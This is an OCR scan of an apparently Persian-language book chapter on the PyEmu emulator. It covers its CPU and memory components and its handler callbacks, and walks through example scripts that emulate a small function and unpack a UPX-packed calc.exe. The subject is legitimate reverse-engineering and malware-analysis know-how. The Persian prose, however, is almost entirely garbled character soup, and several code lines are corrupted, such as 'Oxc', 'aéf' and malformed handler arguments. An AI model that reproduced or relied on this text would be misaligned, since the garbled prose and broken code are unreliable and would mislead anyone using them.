.(.,_,L;..a o bd 35 4 1, PyDbgPYEMU - Ja5 (sl 5 5 Ak s I, PEPYEMU 4 IDAPYEMU I bl s Lo syl e
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279 https://www.blackhat.com/presentations/bh-usa-07/Pierce/Whitepaper/bh-usa-07-pierce-WP.pdf.
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3l Ay ST L s http://www.nostarch.com/ghpython.htm 311, 65,28 |1 Col SIS Jads .ol o3l 5l PYEMU 23
Lo, iSCn 5l PYEMU Sy SCl &S5 L o7 a3, 53 .S ) 3wtasd CAPYEMU s 53 15 0T, i3 87250 5 1 o6 oS!

IJ:SOW‘j_}JQS-)J)’HJUM‘b'beEmU ’SJ.?‘““SMJ}""‘

sys.path.append("C:\PyEmu\")
sys.path.append(*"C:\PyEmu\lib")

st o3k oy Sl 3las (5l S &y s 5 5y 42515 PYEMU (55 lame &1 2SS coady o3l Vi s gy e sl

PYEMU 4 251\ Y,Y
e 4 51 PYEMU S b (gl W8 i gl s PYEmu s PyCPU , PyMemory :s s el (o] s s PyEmu
Sl sl PYEMU iles 89 .5 sioe oslizal &ig—éuqikb, (\qé\ ! PyMemory sPYCPU jl s 5 a4 w9 Sl 5
bl ol 555 (61 1y PYEMU 6L 55 uonas PYCPU LS 15t 3 5 523 (ol 2| (g1 1, PyCPU é\,ﬁ.\:&t‘g\y Ol g
(s osls Cui8 L bl 5 3L OLL S gmes (8l By 5 sdee |l Culg 4o g 5 LSs Sl 5 PyMemory i s 5

.J}i.:.o\ﬁlwgﬁjilaﬁ

T A8 LIS 48 PYEMU &Sl g ogd sl 15 T s (slas o 5 s ot 5 0l 51K 2 adls Spp i Lo

rt‘gt‘ osliiwl adly u«ajg:u ke g anby (o3luw Q;\;; ! PYEMU L T (et

PyCPU Y.,V
QT)‘°>LQL.~‘J\>)JJ19[>LJL>)>Jéjﬂgéj)jéﬂcpuAr&é)b)},@\PyEmUJ)C})PyCPU u'“%
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5(PYDBG 3L g &y g0 4 5 IDAPIO/ PEPYEMU 3 b | &y g 40 45) LS 3L 53 (ol st 8 0 Ll 11y Sl gz
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ST eslizal bl S has Shas @ o 5 6T ™ 0T 4 Sl s2as 7, pydasm « 1 0T s Sy go &) s

.:}&\ﬁ-h.\;&ﬂ@%QT}\Sd;ﬂzimdLa.baméjjﬁ.u.\:»a)'lq-lpyEmuA{JQIL;HQ\J}:.W:

o313 PyCPU 4 CMP EAX , 1 s S1,dke sl n,ls 0T ilae cu&,.&.ﬁ 3Ly PYEMU o7 (6 s 2 )
T e 9188 3l 53 bl 1) (658 (Sl sl 1Cn Sl anslie Slkes plowil sl 15 PYCPU CMP() wls 355
plos Jolis T PYCPUDY gy p 3 dn il 5 b ol 0330 (3950 i Sldas LT AiS7 Lot G161 15 CPU sl
03,8 slowl 05 58S )5 5 0l JB 1) e and AST g5 @ okis 55 S s alsl3T, Al PYEMU 5 eslizul LB &l s2ws

.w|,xw¢@a|4,§?&gcb,acpu Calby a1 Odaagd (5l w5 s ol ) &G PYCPU sy o

PyMemory \Y.f
oIS ol 5 g3 G (s o 55 (655 46 DM (5l o 3 5 PYCPU (o 180 sl 31355 PyMemory .58
2T 5 Slhes o 5l il gt s a8 ol Oota 1>l LG Sl data 5 COOE (sla Caand 03 8 abntn (5550wl pioman
MJWQ@&QJl&,.&)I:PyEmU el e 25 NS 93 4 Cad IS s ek a5 Y S oslinal 5 g Sl an

V.ML azdls ol Slxiy glas g I & 5 9 PYEMU

PyEmu \Y.f
ool Calods >k 5y Oollanil 5 055 057 sl PYEMU .l (g5l i sl (g oS it &ls2 PYEMU Lol oS
LIS ol 8 ST sl ol — b 555 s 03,5 Coe O LB (S5l (sla o Sl S 4 e L
CJ&QWMBJLAL&@)Q\?,Qu)l@ﬁﬁ,lﬁ\dffqﬁu.a;:bqM@a)b‘wgfﬁcl_j}j\ oLzl

o33 A PYEMU oy Sl 3 2 51 3 1) (a8 il ol 51 (el o3l koms plonil (6 S0

PERLX;

)15 5 o S5 el ot (5,108 el execute() 41 ale 453 400 J 257 SO 26 < LPYEMU (51~

| execute( steps=1, start=0x0, end=0x0 )

280 Opcode
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Wl sze ol S PYEMU (55l o poT 51 s g5 5 3535 031 GLS,T en ST 5,5 ,800 (5L 0L, T execute s s
»les Ko gl 3Tl sPEPYEMU ;5 ol ! b g3 ,5 s3T5 PYDDY 55 by sl Gl 3 o&ia S5 EIP lutie
el i les By uST ol b sl 51 LS PYEMU |y &y 523 51 aor LiSs oo STEPS 2l ) L 5,05 41 5 IDA Pro
Bl 2yl opl g, iSn et , LS Sl s &>l % 5,4 PYEMU Sal gl wﬂegié\,)aw,.gfwumstart

35 03litul , S asde |y Lol OLL Ol 5 SO 5Se 4Kl sl pend 5 steps sla jzalyb ol g

MB)QU 6\.& o..\.'..dsbﬂ:'u" \Y,F
5 PYEMU .l e (63 s (sl Sl (51 ! 80 55 5l S 3l 15 U3 Al gla e Ll 55 oS g 350 o
&1 3 e bl slie Sl (6 DS 5 ety L;wu?ﬂ,%dux@,wu.x@d@ﬁ“s@,%%uoug

yls 5 and NS, uS eslizul WL set_memory() 5 get_memory()

get_memory( address, size )

set_memory( address, value, size=0)

JsbSize galyl 5,48 o 5 Ly ababls 31w ysT x5l Koo PYEMU 4, address i)l 5,8 zl,b 55 get_memory() b
size o lesl byl 5,5, 800 by gl 1 4l 1w )3T set_memory() b ASn et 555 3k s L ST Sl

A a5 95 0,5 L oS SleMbl Jsb PYEMU 4

cbubﬂl%glsjbg;\méhﬁih)c‘j&hOL@?)TQJ‘JJ:::ULS‘ﬁ)uU)‘)&b%d)@)%—ﬂ—@:?ﬁQ‘ﬁﬁ4.5.:2})

S o3lizal 15 ) 4 2l S5l 5l i pn

Set_stack_argument( offset, value, name=""")
get_stack_argument( offset=0x0, name=""")
set_stack_variable( offset, value, name="")

get_stack variable( offset=0x0, name=""")

Sy 4 S oslizal iy OLS T 0 S =l s I ¢SS ESP e 3l candT ¢S5 b s set_stack_argument() <!,
bl ¢S a3l Al e Les get_stack_argument() GU Sl eslanal b S eslenal aciy LS T sy CU GO NP
Jo &GS oslizal il 63 ST Ol axty OLE T sl (sobamsil oL &K Lo Shname 0LE T L 503 87 3k, sl offset

‘:“"‘J.’.) Q)ﬂ‘bcu U‘»’«‘ obLa.“....u|)|

set_stack argument( 0x8, 0x12345678, name="arg_0")
get_stack_argument( 0x8 )
get_stack argument( "arg_0")
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EBP ol T G Lot a5 Jlos K, tiSin LIS alie 55, b 3o get_stack_variable()  set_stack_variable() ols

gaJW\clj)Jéaﬂéuwué;Md\j(@‘:?)A‘S’I.;j)

Mla odiS J 2S5 1Y,0
dodos plowl ) o sSns iking 4T oS 4 Sl LTS 5 Ty Sllanl W™ 2851 Sl b 58 S s oS S
1l ok a5 PYEMU )3 Jol (g ot J 87 Coin dadn | Ll 1 abedie Cad &5 i b 5 20l 350 O
IVAST S JmST Ol s gladiST J 287l ol gl glauiS J ST 6l glaunS J ST, ol glaasS J S
o 1 BT 5K S 0 MK a6 oislad (5 oS J 257 5 Yl prlaw (sl oS J 257, aladlo (g ST J 28

W28 8 wal g 3 il LIS (goldad it s 53 e e 5 oS

Sl (5 oS J 2 NY,P
Lo ol J 1S, ST i ol Ol LS oS o) o gl o3zl 03 5 DS 53 Ol Lo sliled (gl MO (g ouiS™ J 28

1S oslial 5 and o 83151 L eSS O 058 ol gl 0 st ST 5

set_register_handler( register, register_handler_function )
set_register_handler( "eax ", eax_register_handler )

J)\ij@d}g‘gg%ﬂowdﬁfcu&.&)‘)}\T’w,u\i};mﬁi‘)audﬁf&w&.ﬂ‘j\y\w

| def register_handler_function( emu, register, value, type ): |

S ldie oy 1) OT Sl i Aol s Lo 457 L5 ol o 18] Coan 3 PYEMU (6 &5 503 ,5 gdine 151 3 oS J 287 55, B
Sl oy &5 igy opl cCwl Write L s read gl Sl 1SS e gl m,&,o;;ﬁmélﬁtype,ubg.;w b
ST o5 53 b okiS J S 55 53 O i Ol ek 4y e 5, Sl O3 Jsb 53 S i il (sl dted 53

281 Handler
282 Callback
283 Opcode
284 Register Handler
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set_library_handler( function, library_handler_function )
set_library_handler( "CreateProcessA", create_Process_handler )
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| def library_handler_function( emu, library, address ): |
address jel )l 5, ol 3 g 0ds gl 3 4S abeb 05 S (,_.L sl plibrary el .ol e PYEMU (6 & 503 & Josl byl

.wla;,lﬁjﬁwculewuﬁ@&éb,;
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| set_exception_handler( "GP", gp_exception_handler ) |
P13 dadee 5 oS 5l el 03,5 U RS (Sl 5 ak oS IS 5,

| def gp_exception_handler( emu, exception, address ): |
S Sl sl ey address gzl 5, ol ol slawsl 5 2ol ASTeXCEPION il )l , sl PYEMU (6 & 505 Il sl o5l 95

Sl 030 'C) ool s

285 Library handler
286 Exception Handler
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S eslimal 5 6 SISl g oS J S

set_instruction_handler( instruction, instruction_handler )
set_instruction_handler( "cmp", cmp_instruction_handler )

S ph paimia 5 ) pe 4 SIS L L handler nb

| def cmp_instruction_handler( emu, instruction, opl, op2, op3 ): |

(!Lo.: jibu.e é‘))b olile gél’ J:.A‘)l.g:‘lnﬂ_g,h;»l‘ ol ‘F‘Afg:,‘w\ Lg)}."m)instruction j‘.obl.;},slg»\ PyEmU ‘54.;‘,&.; d}‘ J:.A‘)Li
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set_opcode_handler( opcode, opcode_handler )
set_opcode_handler( 0x50, my_push_eax_handler )
set_opcode_handler( 0x6A70, my push_70_handler )
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| def opcode_handler( emu, opcode, opl, op2, op3 ): |
S dmn 6 Khas slajldie odile SU byl aw 5, ol o | o) UST 315,32 0pCode ol bl PYEMU (5 4 g5 sl el
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287 Instruction handler
288 Opcode handler
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set_memory_handler( address, memory_handler )
set_memory_handler( 0x12345678, my_memory_handler )

:upxjoqufoﬁo)&pldjiﬂé_ﬁiLgb\a.kil{handlercb.@\wa&fdjzf

| def memory_handler( emu, address, value, size, type ) |
)‘..LBA Value j:"")"i ,MJ.:A t) QT DL 4.153L> L.S‘NJ;M) 4§ ol L’:’ib JJJT addreSS _)ZA‘)L.:' ,C.m»" PyEmU <S 4;}».; d)‘ j:"‘)li

wtype 0l ,T 5,055 i s b g ol Ll & ol SLeDbI (5 0311 SIZE el )L 355 42d 5 b 5ol o L oS Sl LoDl
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set_memory_write_handler( memory_write_handler)
set_memory_read_handler( memory_read_handler )
set_memory_access_handler( memory_access_handler )

set_stack_write_handler( stack_write_handler )
set_stack read_handler( stack _read_handler )
set_stack _access_handler( stack_access_handler)

set_heap_write_handler( heap_write_handler )
set_heap_read_handler( heap_read_handler)
set_heap_access_handler( heap_access_handler )

slowl, L gh Sl 3 ,.\;.a..\.:a'C)4.1&5\:—4.3wﬂ;&hb\ugj)ggbjd‘ﬂhanmercu&uhowdﬂa‘(bjs\j

2513 25 4 68 kS J S g A8

def memory_write_handler( emu, address ):
def memory_read_handler( emu, address ):
def memory_access_handler( emu, address, type ):
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set_pc_handler( address, pc_handler )
set_pc_handler( 0x12345678, 12345678 pc_handler )
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| def pc_handler( emu, address ): |
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289 program counter handler
290 ynpack
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addnum.cpp
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add eax, [ebp+arg_4]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov esp, ebp

pop ebp

retn

add_number ol e Ny

W}JQJ;F:E;SL;‘J.:PyEmUj\mAbér.:ﬁLﬂ.ng‘ou\.&wjj\@w‘fq&dgdjig-c++Afs\fmv.:}b:.f\.a
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addnum_function_call.py

import sys
sys.path.append("C:\\PyEmu™)
sys.path.append("C:\\PyEmu\\lib™)

from PyEmu import *

(2013 gl e il o iS PYEMU sl 15513 a8 (s 59 157 40 50 sl gion Loyl 03,57 abniin (g3 1) s Lo 57 Yl
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212 addnum_function_call.py

VAQ diw simorgh-ev.com : culw w9 (§ o ! 55,5) f o o 0305 el 0S5



(®

Slany (ol - B (G g oW STy Ogb

addnum_function_call.py
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add_function_call.py
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while data_start <= data_end:
emu.set_memory( data_start, GetOriginalByte(data_start), size=1)
data_start +=1

print "[*] Finished loading data section into memory."

# Set EIP to start executing at the function head
emu.set_register("EIP", 0x00401000)

# Set up the ret handler
emu.set_mnemonic_handler("ret", ret_handler)

# Set the function parameters for the call
emu.set_stack argument(0x8, 0x00000001, name="arg_0")
emu.set_stack argument(Oxc, 0x00000002, name="arg_4")

# There are 10 instructions in this function
emu.execute( steps = 10 )

print "[*] Finished function emulation run."

A 3L U ol Sl s s EAX S Jldie 5 ety gla OLE,T Balu 0 (053 V) g (g oS J 1S It
) @235k b ) oS |2 IDAPYthon Ji6 oS5 aile PYEMU oy Sl (5121 s 5 IDA 05,5 addnum.exe &8 L

i 5 e e g A b L (8 Sy STl aslizd L (ST oS (65T 3L s

[*] Finished loading code section into memory.
[*] Finished loading data section into memory.
[*] Function took 1, 2 and the result is 3.

[*] Finished function emulation run.
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291 Ultimate Packer for eXecutables: http://upx.sourceforge.net/.
292 packer

293 Executable Packer

2% Code Obfuscation

295 Entry Point

29 Decompressor

297 Orginal Entry Point
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C:\upx303w>upx -o c:\calc_upx.exe C:\Windows\system32\calc.exe

Ultimate Packer for eXecutables
Copyright (C) 1996 - 2008
UPX 3.03w Markus Oberhumer, Laszlo Molnar & John Reiser Apr 27th 2008
File size Ratio Format Name

114688 -> 56832 49.55% win32/pe calc_upx.exe
Packed 1 file.
C:\upx303w>

.uif,,ua,uroﬁﬂ..u@gﬂ;sC:\L;Usj_u);IJQT,.\&_,u;,;b,'j.u,_,gw@;u,-l,ufuéw&)sdl

05,5 Oloezel (gl 0l 03,25 YlS” 6 &K L Y- calc_upx.exe b Jle s 558 0,503 Ll Glsie aa Coed ol 03,28 L6 &S

rr{ jLFT ‘) u’.mi}: u\f .«\.:Au\.: o}\>| s v.f_)‘} PyEmU 6\» s;:l:u

V4. diw simorgh-ev.com : culw w9 (§ o ! 55,5) f o o 0305 el 0S5


http://upx.sourceforge.net/

\‘d ey cols— B (8 S NS (S gl
N , < O 2O¥N

PEPYEmuU 1, UPX 5 S5L VY,V
Up,;t,&\ﬂu}iu‘“@,ﬁdw Sl opl kiSKs o3lial ol > b bl (g5le 03,53 (6l s ool s 5520 S5 I UPX
UPXL 5 UPXO0 s Caond o) iSn 6Ll (6 0L oy olams] a5 Cpimmans 5 S 0)La1 05,57 &SST 555 4 b 5 jless
@l B oS s Led gy (ALTHM) bl 21T 4 5 487 5L Immunity Sls 5515 b 03,58 Jlb Las S1.5,05 L
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Address  Size Owner Section Contains Access Initial Access

00100000 00001000 calc_upx PE Header R RWE

01001000 00019000 calc_upx UPXO0 RWE RWE

0101A000 00007000 calc_upx UPX1 code RWE RWE

01021000 00007000 calc_upx .rsrc data,imports RW RWE
resources
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upx_unpacker.py

from ctypes import *

# You must set your path to pyemu
sys.path.append("C:\\PyEmu")

298 Entry Point
299 Unpacking
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HMODULE WINAPI LoadLibrary(
__inLPCTSTR IpFileName

1 def loadlibrary(name, address):
# Retrieve the DLL name
dlliname = emu.get_memory_string(emu.get_memory(emu.get_register("ESP") + 4))
# Make a real call to LoadLibrary and return the handle
dllhandle = windll.kernel32.LoadLibraryA(dliname)
emu.set_register("EAX", dllhandle)
# Reset the stack and return from the handler
return_address = emu.get_memory(emu.get_register("ESP"))
emu.set_register("ESP", emu.get_register("ESP") + 8)
emu.set_register("EIP", return_address)

return True

FARPROC WINAPI GetProcAddress(
__inHMODULE hModule,
__in LPCSTR IpProcName

2 def getprocaddress(name, address):

# Get both arguments, which are a handle and the procedure name
handle = emu.get_memory(emu.get_register("ESP") + 4)
proc_name = emu.get_memory(emu.get_register("ESP") + 8)
# IpProcName can be a name or ordinal, if top word is null it's an ordinal
if (proc_name >> 16):

prochame = emu.get_memory_string(emu.get_memory(emu.get_register("ESP")

+8))

else:

procname = arg2

# Add the procedure to the emulator
emu.os.add_library(handle, procname)

import_address = emu.o0s.get_library_address(procname)

# Return the import address

emu.set_register("EAX", import_address)

# Reset the stack and return from our handler

return_address = emu.get_memory(emu.get_register("ESP"))
emu.set_register("ESP", emu.get_register("ESP") + 8)
emu.set_register("EIP", return_address)

return True

BOOL WINAPI VirtualProtect(
__in LPVOID IpAddress,
__InSIZE_T dwsSize,

__in DWORD fINewProtect,
__out PDWORD IpflOldProtect

3 def virtualprotect(name, address):
# Just return TRUE

VY Ao simorgh-ev.com : culw w9 (§ oo sl 55,5) E o 512 5 0315 pel oS L



(®

Slany (ol - B (G s oW (Sl g Vgl

emu.set_register("EAX", 1)

# Reset the stack and return from our handler

return_address = emu.get_memory(emu.get_register("ESP"))
emu.set_register("ESP", emu.get_register("ESP") + 16)
emu.set_register("EIP", return_address)

return True

# When the unpacking routine is finished, handle the JMP to the OEP
4 def jmp_handler(emu, mnemonic, eip, opl, op2, op3):
# The UPX1 section
if eip < emu.sections["UPX1"]["base"]:
print “[*] We are jumping out of the unpacking routine."
print “[*] OEP = 0x%08x" % eip

# Dump the unpacked binary to disk
dump_unpacked(emu)

# We can stop emulating now
emu.emulating = False

return True
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aéf dump_unpacked(emu):
global outputfile
fh = open(outputfile, 'wb')
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